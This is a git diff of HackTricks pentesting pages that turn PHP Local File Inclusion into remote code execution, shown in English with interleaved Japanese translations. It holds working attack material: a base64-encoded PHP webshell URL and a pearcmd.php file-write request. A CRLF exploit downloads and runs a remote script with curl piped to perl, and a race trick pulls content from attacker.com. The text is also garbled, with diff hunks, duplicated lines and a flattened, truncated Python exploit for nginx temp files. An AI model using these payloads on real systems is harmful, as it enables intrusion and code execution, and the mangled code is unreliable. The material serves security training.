sshがアクティブな場合、どのユーザーが使用されているかを確認します (/proc/self/status & /etc/passwd) そして **\<HOME>/.ssh/id_rsa** にアクセスを試みます。
### **Via** **vsftpd** _**logs**_
The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:
FTPサーバーvsftpdのログは _**/var/log/vsftpd.log**_ にあります。Local File Inclusion (LFI) 脆弱性が存在し、公開されたvsftpdサーバーにアクセスできるシナリオでは、以下の手順を考慮できます
1. Inject a PHP payload into the username field during the login process.
2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_.
1. ログインプロセス中にユーザー名フィールドにPHPペイロードを注入します。
2. 注入後、LFIを利用して _**/var/log/vsftpd.log**_ からサーバーログを取得します。
### Via php base64 filter (using base64)
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHP base64フィルターは非base64を無視します。これを使用してファイル拡張子のチェックをバイパスできますもし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
この[**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**phpフィルターを使用して任意のコンテンツを出力として生成できる**ことを説明しています。基本的には、**ファイルに書き込むことなく**、インクルード用の**任意のphpコードを生成できる**ということです。
{{#ref}}
lfi2rce-via-php-filters.md
@ -629,7 +555,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it.
**ファイルをアップロード**し、それが`/tmp`に**一時的に**保存されるようにします。その後、**同じリクエストで、** **セグメンテーションフォルト**を引き起こし、**一時ファイルが削除されない**ようにします。そうすれば、それを検索できます。
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -637,7 +563,7 @@ lfi2rce-via-segmentation-fault.md
### Via Nginx temp file storage
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
**ローカルファイルインクルージョン**を見つけ、**Nginx**がPHPの前で実行されている場合、次の技術を使用してRCEを取得できるかもしれません
{{#ref}}
lfi2rce-via-nginx-temp-files.md
@ -645,7 +571,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
**ローカルファイルインクルージョン**を見つけた場合、**セッションがない**場合でも、`session.auto_start``Off`であっても、**`PHP_SESSION_UPLOAD_PROGRESS`**を**multipart POST**データに提供すると、PHPは**セッションを有効にします**。これを悪用してRCEを取得できます
{{#ref}}
via-php_session_upload_progress.md
@ -653,7 +579,7 @@ via-php_session_upload_progress.md
### Via temp file uploads in Windows
If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
**ローカルファイルインクルージョン**を見つけ、サーバーが**Windows**で実行されている場合、RCEを取得できるかもしれません
{{#ref}}
lfi2rce-via-temp-file-uploads.md
@ -661,57 +587,53 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument.
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、phpのdockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合、それを引数として使用する必要があると示されています。
次のリクエストは、`/tmp/hello.php``<?=phpinfo()?>`という内容のファイルを作成します:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
The following abuses a CRLF vuln to get RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
次の内容は、CRLF脆弱性を悪用してRCEを取得します[**こちら**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)から):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### phpinfo()を介して (file_uploads = on)
### Via phpinfo() (file_uploads = on)
If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file_uploads = on you can get RCE:
**Local File Inclusion**を見つけ、file_uploads = onの**phpinfo()**を公開しているファイルがある場合、RCEを取得できます
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パス開示を介して
If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
**Local File Inclusion**を見つけ、**一時ファイルのパスを外部に漏洩できるが、**サーバーが**含めるファイルにPHPマークがあるかを**チェックしている場合、**この**レースコンディション**を使って**そのチェックをバイパス**しようとすることができます:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via eternal waiting + bruteforce
### 永遠の待機 + ブルートフォースを介して
If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
LFIを悪用して**一時ファイルをアップロード**し、サーバーがPHP実行を**ハング**させることができる場合、**数時間にわたってファイル名をブルートフォース**して一時ファイルを見つけることができます:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### To Fatal Error
### 致命的エラーに至る
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
`/usr/bin/phar``/usr/bin/phar7``/usr/bin/phar.phar7``/usr/bin/phar.phar`のいずれかのファイルを含めると、そのエラーを引き起こすために同じものを2回含める必要があります
**I don't know how is this useful but it might be.**\
&#xNAN;_&#x45;ven if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
**これがどのように役立つのかわかりませんが、役立つかもしれません。**\
&#xNAN;_&#x45;たとえPHP致命的エラーを引き起こしても、アップロードされたPHP一時ファイルは削除されます。_
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## References
## 参考文献
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
@ -720,18 +642,17 @@ If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/pha
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,43 +2,38 @@
{{#include ../../banners/hacktricks-training.md}}
### `compress.zlib://` and `PHP_STREAM_PREFER_STDIO`
### `compress.zlib://` `PHP_STREAM_PREFER_STDIO`
A file opened using the protocol `compress.zlib://` with the flag `PHP_STREAM_PREFER_STDIO` can continue writing data that arrives to the connection later to the same file.
This means that a call such as:
`PHP_STREAM_PREFER_STDIO` フラグを使用して `compress.zlib://` プロトコルで開かれたファイルは、後で接続に到着するデータを書き続けることができます。
これは、次のような呼び出しを意味します:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
http://attacker.com/fileにリクエストを送信すると、サーバーは有効なHTTPレスポンスでリクエストに応答し、接続を維持し、後でファイルに書き込まれる追加データを送信する可能性があります。
Will send a request asking for http://attacker.com/file, then the server might respond the request with a valid HTTP response, keep the connection open, and send extra data some time later that will be also written into the file.
You can see that info in this part of the php-src code in main/streams/cast.c:
この情報は、php-srcコードのmain/streams/cast.cのこの部分で確認できます:
```c
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
```
### レースコンディションからRCEへ
### Race Condition to RCE
[**このCTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)は前述のトリックを使用して解決されました。
[**This CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) was solved using the previous trick.
攻撃者は**被害者サーバーが攻撃者のサーバーからファイルを読み込む接続を開く**ようにします。この接続は**`compress.zlib`**プロトコルを使用します。
The attacker will make the **victim server open a connection reading a file from the attackers server** using the **`compress.zlib`** protocol.
**この接続**が存在している間、攻撃者は**作成された一時ファイルのパスを外部に流出させます**(サーバーによって漏洩されます)。
**While** this **connection** exist the attacker will **exfiltrate the path** to the temp file created (it's leaked by the server).
**接続**がまだ開いている間、攻撃者は**自分が制御する一時ファイルを読み込むLFIを悪用します**。
**While** the **connection** is still open, the attacker will **exploit a LFI loading the temp file** that he controls.
しかし、ウェブサーバーには**`<?`**を含むファイルの読み込みを**防ぐ**チェックがあります。したがって、攻撃者は**レースコンディション**を悪用します。まだ開いている接続の中で、**攻撃者**は**ウェブサーバーがファイルに禁止された文字が含まれているかをチェックした後**に**PHPペイロードを送信しますが、**その内容を読み込む前**に送信します。
However, there is a check in the web server that **prevents loading files that contains `<?`**. Therefore, the attacker will abuse a **Race Condition**. In the connection that is still open the **attacker** will **send the PHP payload AFTER** the **webserver** has **checked** if the file contains the forbidden characters but **BEFORE it loads its content**.
For more information check the description of the Race Condition and the CTF in [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
詳細については、レースコンディションとCTFの説明を[https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)で確認してください。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,101 +2,96 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
By default when a file is uploaded to PHP (even if it isn't expecting it), it will generate a temporary file in `/tmp` with a name such as **`php[a-zA-Z0-9]{6}`**, although I have seen some docker images where the generated files don't contain digits.
デフォルトでは、ファイルがPHPにアップロードされると期待していなくても、**`php[a-zA-Z0-9]{6}`**のような名前の一時ファイルが`/tmp`に生成されます。ただし、生成されたファイルに数字が含まれないdockerイメージも見たことがあります。
In a local file inclusion, **if you manage to include that uploaded file, you will get RCE**.
Note that by default **PHP only allows to upload 20 files in a single request** (set in `/etc/php/<version>/apache2/php.ini`):
ローカルファイルインクルージョンでは、**そのアップロードされたファイルを含めることができれば、RCEを得ることができます**。
デフォルトでは、**PHPは単一のリクエストで20ファイルのアップロードのみを許可します**`/etc/php/<version>/apache2/php.ini`で設定されています):
```
; Maximum number of files that can be uploaded via a single request
max_file_uploads = 20
```
また、**潜在的なファイル名の数は 62\*62\*62\*62\*62\*62 = 56800235584** です。
Also, the **number of potential filenames are 62\*62\*62\*62\*62\*62 = 56800235584**
### その他の技術
### Other techniques
その他の技術は、PHPプロトコルを攻撃することに依存していますパスの最後の部分だけを制御している場合はできません、ファイルのパスを開示すること、期待されるファイルを悪用すること、または**PHPにセグメンテーションフォルトを引き起こさせてアップロードされた一時ファイルが削除されないようにすること**です。\
この技術は**最後のものと非常に似ていますが、ゼロデイを見つける必要はありません**。
Other techniques relies in attacking PHP protocols (you won't be able if you only control the last part of the path), disclosing the path of the file, abusing expected files, or **making PHP suffer a segmentation fault so uploaded temporary files aren't deleted**.\
This technique is **very similar to the last one but without needed to find a zero day**.
### 永遠の待機技術
### Eternal wait technique
この技術では**相対パスを制御する必要があるだけです**。ファイルをアップロードし、**LFIが決して終わらないようにすることができれば**、アップロードされたファイルを**ブルートフォース**して**見つけるための「十分な時間」を得ることができます**。
In this technique **we only need to control a relative path**. If we manage to upload files and make the **LFI never end**, we will have "enough time" to **brute-force uploaded files** and **find** any of the ones uploaded.
**この技術の利点**:
**Pros of this technique**:
- インクルード内の相対パスを制御するだけで済む
- nginxやログファイルへの予期しないアクセスレベルを必要としない
- セグメンテーションフォルトを引き起こすために0デイを必要としない
- パスの開示を必要としない
- You just need to control a relative path inside an include
- Doesn't require nginx or unexpected level of access to log files
- Doesn't require a 0 day to cause a segmentation fault
- Doesn't require a path disclosure
この技術の**主な問題**は次のとおりです:
The **main problems** of this technique are:
- 特定のファイルが存在する必要がある(他にもあるかもしれません)
- **潜在的なファイル名の**「狂気のような」数: **56800235584**
- サーバーが**数字を使用していない**場合、潜在的な合計は: **19770609664**
- デフォルトでは**1回のリクエストで20ファイル**しかアップロードできません。
- 使用されるサーバーの**最大並列ワーカー数**。
- この制限と前述の制限により、この攻撃が長引く可能性があります
- **PHPリクエストのタイムアウト**。理想的には、これは永遠であるべきか、アップロードされた一時ファイルを削除せずにPHPプロセスを終了させるべきです。そうでない場合、これもまた厄介です。
- Need a specific file(s) to be present (there might be more)
- The **insane** amount of potential file names: **56800235584**
- If the server **isn't using digits** the total potential amount is: **19770609664**
- By default **only 20 files** can be uploaded in a **single request**.
- The **max number of parallel workers** of the used server.
- This limit with the previous ones can make this attack last too much
- **Timeout for a PHP request**. Ideally this should be eternal or should kill the PHP process without deleting the temp uploaded files, if not, this will also be a pain
So, how can you **make a PHP include never end**? Just by including the file **`/sys/kernel/security/apparmor/revision`** (**not available in Docker containers** unfortunately...).
Try it just calling:
では、どうやって**PHPインクルードを決して終わらせる**ことができるのでしょうか?ファイル**`/sys/kernel/security/apparmor/revision`**をインクルードするだけです(**残念ながらDockerコンテナでは利用できません...**)。
試してみてください:
```bash
php -a # open php cli
include("/sys/kernel/security/apparmor/revision");
```
## Apache2
By default, Apache support **150 concurrent connections**, following [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) it's possible to upgrade this number up to 8000. Follow this to use PHP with that module: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
デフォルトでは、Apacheは**150の同時接続**をサポートしており、[https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/)に従って、この数を最大8000まで増やすことが可能です。このモジュールでPHPを使用するには、次の手順に従ってください: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04)。
By default, (as I can see in my tests), a **PHP process can last eternally**.
デフォルトでは、(私のテストで確認したところ)**PHPプロセスは永遠に続くことができます**。
Let's do some maths:
いくつかの計算をしてみましょう:
- We can use **149 connections** to generate **149 \* 20 = 2980 temp files** with our webshell.
- Then, use the **last connection** to **brute-force** potential files.
- At a speed of **10 requests/s** the times are:
- 56800235584 / 2980 / 10 / 3600 \~= **530 hours** (50% chance in 265h)
- (without digits) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% chance in 93h)
- **149の接続**を使用して、**149 \* 20 = 2980の一時ファイル**を生成できます。
- 次に、**最後の接続**を使用して**ブルートフォース**で潜在的なファイルを探します。
- **10リクエスト/秒**の速度で、時間は次の通りです:
- 56800235584 / 2980 / 10 / 3600 \~= **530時間**265時間で50%の確率)
- 数字なし19770609664 / 2980 / 10 / 3600 \~= 185時間93時間で50%の確率)
> [!WARNING]
> Note that in the previous example we are **completely DoSing other clients**!
> 前の例では、**他のクライアントを完全にDoSしている**ことに注意してください!
If the Apache server is improved and we could abuse **4000 connections** (half way to the max number). We could create `3999*20 = 79980` **files** and the **number** would be **reduced** to around **19.7h** or **6.9h** (10h, 3.5h 50% chance).
Apacheサーバーが改善され、**4000の接続**を悪用できる場合(最大数の半分)、`3999*20 = 79980` **ファイル**を作成でき、**時間**は約**19.7時間**または**6.9時間**10時間、3.5時間で50%の確率)に**短縮**されます。
## PHP-FMP
If instead of using the regular php mod for apache to run PHP scripts the **web page is using** **PHP-FMP** (this improves the efficiency of the web page, so it's common to find it), there is something else that can be done to improve the technique.
通常のphpモジュールを使用してPHPスクリプトを実行する代わりに、**ウェブページが** **PHP-FMPを使用している**場合(これによりウェブページの効率が向上するため、一般的に見られます)、技術を改善するために他にできることがあります。
PHP-FMP allow to **configure** the **parameter** **`request_terminate_timeout`** in **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
This parameter indicates the maximum amount of seconds **when** **request to PHP must terminate** (infinite by default, but **30s if the param is uncommented**). When a request is being processed by PHP the indicated number of seconds, it's **killed**. This means, that if the request was uploading temporary files, because the **php processing was stopped**, those **files aren't going to be deleted**. Therefore, if you can make a request last that time, you can **generate thousands of temporary files** that won't be deleted, which will **speed up the process of finding them** and reduces the probability of a DoS to the platform by consuming all connections.
PHP-FMPは、**`/etc/php/<php-version>/fpm/pool.d/www.conf`**で**パラメータ** **`request_terminate_timeout`**を**設定**することを許可します。\
このパラメータは、**PHPへのリクエストが終了する最大秒数**を示します(デフォルトでは無限ですが、**パラメータがコメント解除されると30秒**。PHPによってリクエストが処理されている間に指定された秒数が経過すると、**終了**します。これは、リクエストが一時ファイルをアップロードしている場合、**PHP処理が停止したため**、それらの**ファイルは削除されない**ことを意味します。したがって、その時間リクエストを持続させることができれば、削除されない**数千の一時ファイル**を**生成**でき、これによりそれらを見つけるプロセスが**加速**され、すべての接続を消費することによるプラットフォームへのDoSの可能性が減少します。
So, to **avoid DoS** lets suppose that an **attacker will be using only 100 connections** at the same time and php max processing time by **php-fmp** (`request_terminate_timeout`**)** is **30s**. Therefore, the number of **temp files** that can be generated **by second** is `100*20/30 = 66.67`.
したがって、**DoSを回避するために**、**攻撃者が同時に100の接続**のみを使用すると仮定し、php-fmpによるPHPの最大処理時間`request_terminate_timeout`**)は**30秒**です。したがって、**秒あたり生成できる一時ファイルの数**は`100*20/30 = 66.67`です。
Then, to generate **10000 files** an attacker would need: **`10000/66.67 = 150s`** (to generate **100000 files** the time would be **25min**).
次に、**10000ファイル**を生成するには、攻撃者は**`10000/66.67 = 150秒`**が必要です(**100000ファイル**を生成するには、時間は**25分**です)。
Then, the attacker could use those **100 connections** to perform a **search brute-force**. \*\*\*\* Supposing a speed of 300 req/s the time needed to exploit this is the following:
次に、攻撃者はこれらの**100接続**を使用して**ブルートフォース検索**を実行できます。 \*\*\*\* 300 req/sの速度を仮定すると、これを悪用するのに必要な時間は次の通りです
- 56800235584 / 10000 / 300 / 3600 \~= **5.25 hours** (50% chance in 2.63h)
- (with 100000 files) 56800235584 / 100000 / 300 / 3600 \~= **0.525 hours** (50% chance in 0.263h)
- 56800235584 / 10000 / 300 / 3600 \~= **5.25時間**2.63時間で50%の確率)
- 100000ファイルの場合56800235584 / 100000 / 300 / 3600 \~= **0.525時間**0.263時間で50%の確率)
Yes, it's possible to generate 100000 temporary files in an EC2 medium size instance:
はい、EC2の中サイズインスタンスで100000の一時ファイルを生成することは可能です
<figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Note that in order to trigger the timeout it would be **enough to include the vulnerable LFI page**, so it enters in an eternal include loop.
> タイムアウトをトリガーするには、**脆弱なLFIページを含めるだけで十分**です。そうすれば、永遠のインクルードループに入ります。
## Nginx
It looks like by default Nginx supports **512 parallel connections** at the same time (and this number can be improved).
デフォルトでは、Nginxは同時に**512の並列接続**をサポートしているようです(この数は改善可能です)。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,23 +2,20 @@
{{#include ../../banners/hacktricks-training.md}}
## Vulnerable configuration
## 脆弱な構成
[**Example from https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
- PHP code:
- PHP コード:
```php
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
```
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
@ -36,19 +33,17 @@ def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
```
## Labs
## ラボ
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
- [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
- [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
## References
## 参考文献
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
{{#include ../../banners/hacktricks-training.md}}
```
```

View File

@ -4,43 +4,42 @@
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
**モバイルセキュリティ**の専門知識を8kSec Academyで深めましょう。自己学習型のコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう
{% embed url="https://academy.8ksec.io/" %}
## Intro
## はじめに
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
この[**書き込み**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**phpフィルターを使用して任意のコンテンツを出力として生成できる**ことを説明しています。基本的には、**ファイルに書き込むことなく任意のphpコードを生成できる**ということです。
Basically the goal of the script is to **generate a Base64** string at the **beginning** of the file that will be **finally decoded** providing the desired payload that will be **interpreted by `include`**.
基本的にスクリプトの目的は、**ファイルの最初にBase64**文字列を生成し、最終的にデコードされて、`include`によって**解釈される**所望のペイロードを提供することです。
The bases to do this are:
これを行うための基本は次のとおりです:
- `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string
- `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64. It gives some problems if it finds unexpected "=" but those can be removed with the `convert.iconv.UTF8.UTF7` filter.
- `convert.iconv.UTF8.CSISO2022KR`は常に文字列の先頭に`\x1b$)C`を追加します
- `convert.base64-decode`は非常に寛容で、基本的に有効なbase64でない文字を無視します。予期しない"="が見つかると問題が発生しますが、それは`convert.iconv.UTF8.UTF7`フィルターで削除できます。
The loop to generate arbitrary content is:
任意のコンテンツを生成するためのループは次のとおりです:
1. prepend `\x1b$)C` to our string as described above
2. apply some chain of iconv conversions that leaves our initial base64 intact and converts the part we just prepended to some string where the only valid base64 char is the next part of our base64-encoded php code
3. base64-decode and base64-encode the string which will remove any garbage in between
4. Go back to 1 if the base64 we want to construct isn't finished yet
5. base64-decode to get our php code
1. 上記のように文字列の先頭に`\x1b$)C`を追加します
2. 初期のbase64をそのままにして、先ほど追加した部分を次のbase64エンコードされたphpコードの有効なbase64文字だけになるように変換するiconv変換のチェーンを適用します
3. 文字列をbase64デコードしてbase64エンコードし、間のゴミを取り除きます
4. 構築したいbase64がまだ完成していない場合は1に戻ります
5. phpコードを取得するためにbase64デコードします
> [!WARNING]
> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work!
> **インクルード**は通常、ファイルの**末尾に".php"を追加する**ようなことを行うため、これが悪用を難しくする可能性があります...または、**リソースとして`php://temp`を使用することができます**。これは**名前に何でも追加できる**ため(例:+".php")、それでも悪用が機能します!
## How to add also suffixes to the resulting data
## 結果データにサフィックスを追加する方法
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. This is great in case you need the output to have some specific format (like json or maybe adding some PNG magic bytes)
[**この書き込みは説明しています**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) PHPフィルターを悪用して結果の文字列にサフィックスを追加する方法を。これは、出力に特定のフォーマットjsonやPNGマジックバイトの追加などが必要な場合に便利です。
## Automatic Tools
## 自動ツール
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Full script
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(サフィックスを追加できます)**
## 完全なスクリプト
```python
import requests
@ -52,24 +51,24 @@ command = "/readflag"
